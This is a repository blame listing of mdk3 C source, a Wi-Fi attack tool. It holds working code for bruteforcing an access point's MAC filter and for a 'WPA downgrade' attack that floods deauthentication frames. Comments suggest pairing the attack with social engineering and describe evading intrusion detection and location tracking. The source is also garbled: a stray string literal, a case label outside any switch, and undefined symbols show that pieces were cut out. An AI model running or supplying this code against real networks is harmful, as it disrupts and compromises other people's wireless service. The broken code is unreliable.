nexmon – Blame information for rev 1

Subversion Repositories:
Rev:
Rev Author Line No. Line
1 office 1 /*
2 * mdk3, a 802.11 wireless network security testing tool
3 * Just like John the ripper or nmap, now part of most distros,
4 * it is important that the defender of a network can test it using
5 * aggressive tools.... before somebody else does.
6 *
7 * This file contains parts from 'aircrack' project by Cristophe Devine.
8 *
9 * Copyright (C) 2006-2010 Pedro Larbig
10 *
11 * This program is free software; you can redistribute it and/or modify
12 * it under the terms of the GNU General Public License as published by
13 * the Free Software Foundation; version 2 of the License.
14 *
15 * This program is distributed in the hope that it will be useful,
16 * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 * GNU General Public License for more details.
19 *
20 * You should have received a copy of the GNU General Public License along
21 * with this program; if not, write to the Free Software Foundation, Inc.,
22 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
23 */
24  
25 //Using GNU Extension getline(), not ANSI C
26 #define _GNU_SOURCE
27  
28 #include <stdio.h>
29 #include <string.h>
30 #include <stdlib.h>
31 #include <errno.h>
32 #include <pthread.h>
33 #include <sys/time.h>
34 #include <pcap.h>
35  
36 #include "osdep.h"
37 #include "debug.h"
38 #include "helpers.h"
39 #include "mac_addr.h"
40  
41  
42 #define MAX_APS_TRACKED 100
43 #define MAX_APS_TESTED 100
44  
45 # define TIMEVAL_TO_TIMESPEC(tv, ts) { \
46 (ts)->tv_sec = (tv)->tv_sec; \
47 (ts)->tv_nsec = (tv)->tv_usec * 1000; \
48 }
49  
50 unsigned char tmpbuf[MAX_PACKET_LENGTH]; // Temp buffer for packet manipulation in send/read_packet
51 unsigned char pkt[MAX_PACKET_LENGTH]; // Space to save generated packet
52 unsigned char pkt_sniff[MAX_PACKET_LENGTH]; // Space to save sniffed packets
53 unsigned char pkt_check[MAX_PACKET_LENGTH]; // Space to save sniffed packets to check success
54 unsigned char aps_known[MAX_APS_TRACKED][ETHER_ADDR_LEN]; // Array to save MACs of known APs
55 int aps_known_count = 0; // Number of known APs
56 unsigned char auth[MAX_APS_TESTED][ETHER_ADDR_LEN]; // Array to save MACs of APs currently under test
57 int auths[MAX_APS_TESTED][4]; // Array to save status of APs under test
58 unsigned char *pkt_amok = NULL; // Pointer to packet for deauth mode
59 unsigned char *target = NULL; // Target for SSID Bruteforce / Intelligent Auth DoS
60 int exit_now = 0; // Tells main thread to exit
61 int ssid_len = 0; // Length of SSID used in Bruteforce mode
62 int ssid_eof = 0; // Tell other threads, SSID file has reached EOF
63 char brute_mode; // Which ASCII-characters should be used
64 char *brute_ssid; // SSID in Bruteforce mode
65 unsigned int end = 0; // Has Bruteforce mode tried all possibilities?
66 unsigned int turns = 0; // Number of tried SSIDs
67 unsigned int max_permutations = 1; // Number of SSIDs possible
68 int real_brute = 0; // use Bruteforce mode?
69 int init_intelligent = 0; // Is intelligent_auth_dos initialized?
70 int init_intelligent_data = 0; // Is its data list initialized?
71 int we_got_data = 0; // Sniffer thread tells generator thread if there is any data
72 struct ether_addr mac_base; // First three bytes of adress given for bruteforcing MAC filter
73 struct ether_addr mac_lower; // Last three bytes of adress for Bruteforcing MAC filter
74 int mac_b_init = 0; // Initializer for MAC bruteforcer
75 static pthread_mutex_t has_packet_mutex; // Used for condition below
76 static pthread_cond_t has_packet; // Pthread Condition "Packet ready"
77 int has_packet_really = 0; // Since the above condition has a timeout we want to use, we need another int here
78 static pthread_mutex_t clear_packet_mutex; // Used for condition below
79 static pthread_cond_t clear_packet; // Pthread Condition "Buffer cleared, get next packet"
80 struct timeval tv_dyntimeout; // Dynamic timeout for MAC bruteforcer
81 int mac_brute_speed = 0; // MAC Bruteforcer Speed-o-meter
82 int mac_brute_timeouts = 0; // Timeout counter for MAC Bruteforcer
83 int hopper_seconds = 1; // Default time for channel hopper to stay on one channel
84 int wpad_cycles = 0, wpad_auth = 0; // Counters for WPA downgrade: completed deauth cycles, sniffed 802.1x auth packets
85 int wpad_wep = 0, wpad_beacons = 0; // Counters for WPA downgrade: sniffed WEP/open packets, sniffed beacons/sec
86  
87  
88  
89 "TEST MODES:\n"
90  
91 "f - MAC filter bruteforce mode\n"
92 " This test uses a list of known client MAC Adresses and tries to\n"
93 " authenticate them to the given AP while dynamically changing\n"
94 " its response timeout for best performance. It currently works only\n"
95 " on APs who deny an open authentication request properly\n"
96 "g - WPA Downgrade test\n"
97 " deauthenticates Stations and APs sending WPA encrypted packets.\n"
98 " With this test you can check if the sysadmin will try setting his\n"
99 " network to WEP or disable encryption. More effective in\n"
100 " combination with social engineering.\n";
101  
102 char use_macb[]="f - MAC filter bruteforce mode\n"
103 " This test uses a list of known client MAC Adresses and tries to\n"
104 " authenticate them to the given AP while dynamically changing\n"
105 " its response timeout for best performance. It currently works only\n"
106 " on APs who deny an open authentication request properly\n"
107 " -t <bssid>\n"
108 " Target BSSID\n"
109 " -m <mac>\n"
110 " Set the MAC adress range to use (3 bytes, i.e. 00:12:34)\n"
111 " Without -m, the internal database will be used\n"
112 " -f <mac>\n"
113 " Set the MAC adress to begin bruteforcing with\n"
114 " (Note: You can't use -f and -m at the same time)\n";
115  
116 char use_wpad[]="g - WPA Downgrade test\n"
117 " deauthenticates Stations and APs sending WPA encrypted packets.\n"
118 " With this test you can check if the sysadmin will try setting his\n"
119 " network to WEP or disable encryption. mdk3 will let WEP and unencrypted\n"
120 " clients work, so if the sysadmin simply thinks \"WPA is broken\" he\n"
121 " sure isn't the right one for this job.\n"
122 " (this can/should be combined with social engineering)\n"
123 " -t <bssid>\n"
124 " Target network\n";
125  
126  
127 /* Sniffing Functions */
128  
129 //ATTACK MAC filter bruteforce
130 void mac_bruteforce_sniffer()
131 {
132 int plen = 0;
133 int interesting_packet;
134 static unsigned char last_mac[6] = "\x00\x00\x00\x00\x00\x00";
135 // static unsigned char ack[10] = "\xd4\x00\x00\x00\x00\x00\x00\x00\x00\x00";
136  
137 while(1) {
138 do {
139 interesting_packet = 1;
140 //Read packet
141 plen = osdep_read_packet(pkt_sniff, MAX_PACKET_LENGTH);
142 //is this an auth response packet?
143 if (pkt_sniff[0] != 0xb0) interesting_packet = 0;
144 //is it from our target
145 if (! is_from_target_ap(target, pkt_sniff)) interesting_packet = 0;
146 //is it a retry?
147 if (! memcmp(last_mac, pkt_sniff+4, 6)) interesting_packet = 0;
148 } while (! interesting_packet);
149 //Buffering MAC to drop retry frames later
150 memcpy(last_mac, pkt_sniff+4, 6);
151  
152 //SPEEDUP: (Doesn't work??) Send ACK frame to prevent AP from blocking the channel with retries
153 /* memcpy(ack+4, target, 6);
154 osdep_send_packet(ack, 10);
155 */
156  
157 //Set has_packet
158 has_packet_really = 1;
159 //Send condition
160 pthread_cond_signal(&has_packet);
161 //Wait for packet to be cleared
162 pthread_cond_wait (&clear_packet, &clear_packet_mutex);
163 }
164  
165 }
166  
167  
168 /* ZERO_CHAOS says: if you want to make the WIDS vendors hate you
169 also match the sequence numbers of the victims
170 also match the sequence numbers of the victims
171 also match the sequence numbers of the victims
172 also match the sequence numbers of the victims
173 also match the sequence numbers of the victims
174 also match the sequence numbers of the victims
175 also match the sequence numbers of the victims
176 also match the sequence numbers of the victims
177 also match the sequence numbers of the victims
178  
179 Aireplay should be able to choose IV from a pool (when ringbuffer is big enough or unlimited) that hasn't been used in last X packets
180 Ghosting (tx power): by changing tx power of the card while injecting, we can evade location tracking. If you turn the radio's power up and down every few ms, the trackers will have a much harder time finding you (basicly you will hop all over the place depending on sensor position). At least madwifi can do it.
181 Ghosting (speed/modulation): change speed every few ms, not a fantastic evasion technique but it may cause more location tracking oddity. Note that tx power levels can only be set at certain speeds (lower speed means higher tx power allowed).
182 802.11 allows you to fragment each packet into as many as 16 pieces. It would be nice if we could use fragmentated packets in every aireplay-ng attack.
183 */
184  
185 struct pckt mac_bruteforcer()
186 {
187 struct pckt rtnpkt;
188 static unsigned char *current_mac;
189 int get_new_mac = 1;
190 static struct timeval tv_start, tv_end, tv_diff, tv_temp, tv_temp2;
191 struct timespec wait;
192  
193 if (! mac_b_init) {
194 pthread_cond_init (&has_packet, NULL);
195 pthread_mutex_init (&has_packet_mutex, NULL);
196 pthread_mutex_unlock (&has_packet_mutex);
197 pthread_cond_init (&clear_packet, NULL);
198 pthread_mutex_init (&clear_packet_mutex, NULL);
199 pthread_mutex_unlock (&clear_packet_mutex);
200  
201 tv_dyntimeout.tv_sec = 0;
202 tv_dyntimeout.tv_usec = 100000; //Dynamic timeout initialized with 100 ms
203  
204 pthread_t sniffer;
205 pthread_create( &sniffer, NULL, (void *) mac_bruteforce_sniffer, (void *) 1);
206 }
207  
208 if (mac_b_init) {
209 //Wait for an answer to the last packet
210 gettimeofday(&tv_temp, NULL);
211 timeradd(&tv_temp, &tv_dyntimeout, &tv_temp2);
212 TIMEVAL_TO_TIMESPEC(&tv_temp2, &wait);
213 pthread_cond_timedwait(&has_packet, &has_packet_mutex, &wait);
214  
215 //has packet after timeout?
216 if (has_packet_really) {
217 // if yes: if this answer is positive, copy the MAC, print it and exit!
218 if (memcmp(target, pkt_sniff+4, 6)) // Filter out own packets & APs responding strangely (authing themselves)
219 if ((pkt_sniff[28] == 0x00) && (pkt_sniff[29] == 0x00)) {
220 unsigned char *p = pkt_sniff;
221 printf("\n\nFound a valid MAC adress: %02X:%02X:%02X:%02X:%02X:%02X\nHave a nice day! :)\n",
222 p[4], p[5], p[6], p[7], p[8], p[9]);
223 exit(0);
224 }
225  
226 // if this is an answer to our current mac: get a new mac later
227 if (! memcmp(pkt_sniff+4, current_mac, 6)) {
228 get_new_mac = 1;
229 mac_brute_speed++;
230  
231 // get this MACs check time, calculate new timeout
232 gettimeofday(&tv_end, NULL);
233 tvdiff(&tv_end, &tv_start, &tv_diff);
234  
235 /* #=- The magic timeout formula -=# */
236 //If timeout is more than 500 ms, it sure is due to weak signal, so drop the calculation
237 if ((tv_diff.tv_sec == 0) && (tv_diff.tv_usec < 500000)) {
238  
239 //If timeout is lower, go down pretty fast (half the difference)
240 if (tv_diff.tv_usec < tv_dyntimeout.tv_usec) {
241 tv_dyntimeout.tv_usec += (((tv_diff.tv_usec * 2) - tv_dyntimeout.tv_usec) / 2);
242 } else {
243 //If timeout is higher, raise only a little
244 tv_dyntimeout.tv_usec += (((tv_diff.tv_usec * 4) - tv_dyntimeout.tv_usec) / 4);
245 }
246 //High timeouts due to bad signal? Don't go above 250 milliseconds!
247 //And avoid a broken timeout (less than half an ms, more than 250 ms)
248 if (tv_dyntimeout.tv_usec > 250000) tv_dyntimeout.tv_usec = 250000;
249 if (tv_dyntimeout.tv_usec < 500) tv_dyntimeout.tv_usec = 500;
250 }
251 }
252  
253 //reset has_packet, send condition clear_packet (after memcpy!)
254 has_packet_really = 0;
255 pthread_cond_signal(&clear_packet);
256  
257 // if not: dont get a new mac later!
258 } else {
259 get_new_mac = 0;
260 mac_brute_timeouts++;
261 }
262 }
263  
264 // Get a new MAC????
265 if (get_new_mac) {
266 current_mac = get_next_mac();
267 // Set this MACs first time mark
268 gettimeofday(&tv_start, NULL);
269 }
270 // Create packet and send
271 rtnpkt = create_auth_frame(target, 0, current_mac);
272  
273 mac_b_init = 1;
274  
275 return rtnpkt;
276 }
277  
278 struct pckt wpa_downgrade()
279 {
280  
281 struct pckt rtnpkt;
282 static int state = 0;
283 int plen;
284  
285 rtnpkt.len = 0;
286 rtnpkt.data = NULL; // A null packet we return when captured packet was useless
287 // This ensures that statistics will be printed in low traffic situations
288  
289 switch (state) {
290 case 0: // 0: Waiting for a data packet from target
291  
292 //Sniff packet
293 plen = osdep_read_packet(pkt_sniff, MAX_PACKET_LENGTH);
294 if (plen < 36) return rtnpkt;
295 //Is from target network?
296 if (! is_from_target_ap(target, pkt_sniff))
297 return rtnpkt;
298 //Is a beacon?
299 if (pkt_sniff[0] == 0x80) {
300 wpad_beacons++;
301 return rtnpkt;
302 }
303 //Is data (or qos data)?
304 if ((! (pkt_sniff[0] == 0x08)) && (! (pkt_sniff[0] == 0x88)))
305 return rtnpkt;
306 //Is encrypted?
307 if (! (pkt_sniff[1] & 0x40)) {
308 if ((pkt_sniff[30] == 0x88) && (pkt_sniff[31] == 0x8e)) { //802.1x Authentication!
309 wpad_auth++;
310 } else {
311 wpad_wep++;
312 }
313 return rtnpkt;
314 }
315 //Check WPA Enabled
316 if ((pkt_sniff[27] & 0xFC) == 0x00) {
317 wpad_wep++;
318 return rtnpkt;
319 }
320  
321 state++;
322  
323 // 0: Deauth AP -> Station
324 return create_deauth_frame(get_macs_from_packet('a', pkt_sniff),
325 get_macs_from_packet('s', pkt_sniff),
326 get_macs_from_packet('b', pkt_sniff), 0);
327  
328 break;
329 case 1: // 1: Disassoc AP -> Station
330  
331 state++;
332  
333 return create_deauth_frame(get_macs_from_packet('a', pkt_sniff),
334 get_macs_from_packet('s', pkt_sniff),
335 get_macs_from_packet('b', pkt_sniff), 1);
336  
337 break;
338 case 2: // 2: Deauth Station -> AP
339  
340 state++;
341  
342 return create_deauth_frame(get_macs_from_packet('s', pkt_sniff),
343 get_macs_from_packet('a', pkt_sniff),
344 get_macs_from_packet('b', pkt_sniff), 0);
345  
346 break;
347 case 3: // 3: Disassoc Station -> AP
348  
349  
350 //Increase cycle counter
351 wpad_cycles++;
352 state = 0;
353  
354 return create_deauth_frame(get_macs_from_packet('s', pkt_sniff),
355 get_macs_from_packet('a', pkt_sniff),
356 get_macs_from_packet('b', pkt_sniff), 1);
357  
358 break;
359 }
360  
361 printf("BUG: WPA-Downgrade: Control reaches end unexpectedly!\n");
362 return rtnpkt;
363  
364 }
365  
366  
367 /* Response Checkers */
368  
369 void print_mac_bruteforcer_stats(struct pckt packet)
370 {
371 unsigned char *m = packet.data+10;
372  
373 float timeout = (float) tv_dyntimeout.tv_usec / 1000.0;
374  
375 printf("\rTrying MAC %02X:%02X:%02X:%02X:%02X:%02X with %8.4f ms timeout at %3d MACs per second and %d retries\n",
376 m[0], m[1], m[2], m[3], m[4], m[5], timeout, mac_brute_speed, mac_brute_timeouts);
377  
378 mac_brute_speed = 0;
379 mac_brute_timeouts = 0;
380 }
381  
382 void print_wpa_downgrade_stats()
383 {
384 static int wpa_old = 0, wep_old = 0, warning = 0, downgrader = 0;
385  
386 printf("\rDeauth cycles: %4d 802.1x authentication packets: %4d WEP/Unencrypted packets: %4d Beacons/sec: %3d\n", wpad_cycles, wpad_auth, wpad_wep, wpad_beacons);
387 if (wpad_beacons == 0) {
388 printf("NOTICE: Did not receive any beacons! Maybe AP has been reconfigured and/or is rebooting!\n");
389 }
390  
391 if (wpa_old < wpad_cycles) {
392 if (wep_old < wpad_wep) {
393 if (!warning) {
394 printf("REALLY BIG WARNING!!! Seems like a client connected to your target AP leaks PLAINTEXT data while authenticating!!\n");
395 warning = 1;
396 }
397 }
398 }
399  
400 if (wpa_old == wpad_cycles) {
401 if (wep_old < wpad_wep) {
402 downgrader++;
403 if (downgrader == 10) {
404 printf("WPA Downgrade Attack successful. No increasing WPA packet count detected. HAVE FUN!\n");
405 downgrader = 0;
406 }
407 }
408 }
409  
410 wpa_old = wpad_cycles;
411 wep_old = wpad_wep;
412 wpad_beacons = 0;
413 }
414  
415 void print_stats(char mode, struct pckt packet, int responses, int sent)
416 {
417 // Statistics dispatcher
418  
419 switch (mode)
420 {
421  
422 case 'f':
423 print_mac_bruteforcer_stats(packet);
424 break;
425 case 'g':
426 print_wpa_downgrade_stats();
427 break;
428 /*TODO*/
429 }
430 }
431  
432 /* MDK Parser, Setting up testing environment */
433  
434 int mdk_parser(int argc, char *argv[])
435 {
436  
437 int nb_sent = 0, nb_sent_ps = 0; // Packet counters
438 char mode = '0'; // Current mode
439 unsigned char *ap = NULL; // Pointer to target APs MAC
440 char check = 0; // Flag for checking if test is successful
441 struct pckt frm; // Struct to save generated Packets
442 char *ssid = NULL; // Pointer to generated SSID
443 int pps = 50; // Packet sending rate
444 int t = 0;
445 time_t t_prev; // Struct to save time for printing stats every sec
446 int total_time = 0; // Amount of seconds the test took till now
447 int chan = 1; // Channel for beacon flood mode
448 int fchan = 0; // Channel selected via -c option
449 int wep = 0; // WEP bit for beacon flood mode (1=WEP, 2=WPA-TKIP 3=WPA-AES)
450 int gmode = 0; // 54g speed flag
451 struct pckt mac; // MAC Space for probe mode
452 int resps = 0; // Counting responses for probe mode
453 int usespeed = 0; // Should injection be slown down?
454 int random_mac = 1; // Use random or valid MAC?
455 int ppb = 70; // Number of packets per burst
456 int wait = 10; // Seconds to wait between bursts
457 int adhoc = 0; // Ad-Hoc mode
458 int adv = 0; // Use advanced FakeAP mode
459 int renderman_discovery = 0; // Activate RenderMan's discovery tool
460 int got_ssid = 0;
461 char *list_file = NULL; // Filename for periodical white/blacklist processing
462 t_prev = (time_t) malloc(sizeof(t_prev));
463  
464  
465 case 'f':
466 mode = 'f';
467 usespeed = 0;
468 MAC_SET_NULL(mac_lower);
469 MAC_SET_NULL(mac_base);
470 for (t=3; t<argc; t++)
471 {
472 if (! strcmp(argv[t], "-t")) {
473 if (! (argc > t+1)) { printf(use_macb); return -1; }
474 target = parse_mac(argv[t+1]);
475 }
476 if (! strcmp(argv[t], "-m")) {
477 if (! (argc > t+1)) { printf(use_macb); return -1; }
478 mac_base = parse_half_mac(argv[t+1]);
479 }
480 if (! strcmp(argv[t], "-f")) {
481 if (! (argc > t+1)) { printf(use_macb); return -1; }
482 mac_base = parse_mac(argv[t+1]);
483 mac_lower = parse_mac(argv[t+1]);
484 }
485 }
486 break;
487 case 'g':
488 mode = 'g';
489 usespeed = 0;
490 for (t=3; t<argc; t++)
491 {
492 if (! strcmp(argv[t], "-t")) {
493 if (! (argc > t+1)) { printf(use_wpad); return -1; }
494 target = parse_mac(argv[t+1]);
495 }
496 }
497 break;
498 default:
499 printf(use_head);
500 return -1;
501 break;
502 }
503  
504 printf("\n");
505  
506  
507 if (mode == 'g') {
508 if (target == NULL) {
509 printf("Please specify MAC of target AP (option -t)\n");
510 return -1;
511 }
512 }
513  
514 /* Main packet sending loop */
515  
516 while(1)
517 {
518  
519 /* Creating Packets, do sniffing */
520  
521 switch (mode)
522 {
523  
524 case 'f':
525 frm = mac_bruteforcer();
526 break;
527 case 'g':
528 frm = wpa_downgrade();
529 if (frm.data == NULL) goto statshortcut;
530 break;
531 case 'r':
532 frm = renderman_discovery_tool();
533 break;
534 }
535  
536 /* Sending packet, increase counters */
537  
538 if (frm.len < 10) printf("WTF?!? Too small packet injection detected! BUG!!!\n");
539 osdep_send_packet(frm.data, frm.len);
540 nb_sent_ps++;
541 nb_sent++;
542  
543  
544 /* Does another thread want to exit? */
545  
546 if (exit_now) return 0;
547  
548 /* Waiting for Hannukah */
549  
550 if (usespeed) usleep(pps2usec(pps));
551  
552 statshortcut:
553  
554 /* Print speed, packet count and stats every second */
555  
556 if( time( NULL ) - t_prev >= 1 )
557 {
558 t_prev = time( NULL );
559 print_stats(mode, frm, resps, nb_sent_ps);
560 if (mode != 'r') printf ("\rPackets sent: %6d - Speed: %4d packets/sec", nb_sent, nb_sent_ps);
561 fflush(stdout);
562 nb_sent_ps=0;
563 resps=0;
564 total_time++;
565 }
566  
567 } // Play it again, Johnny!
568  
569 return 0;
570 }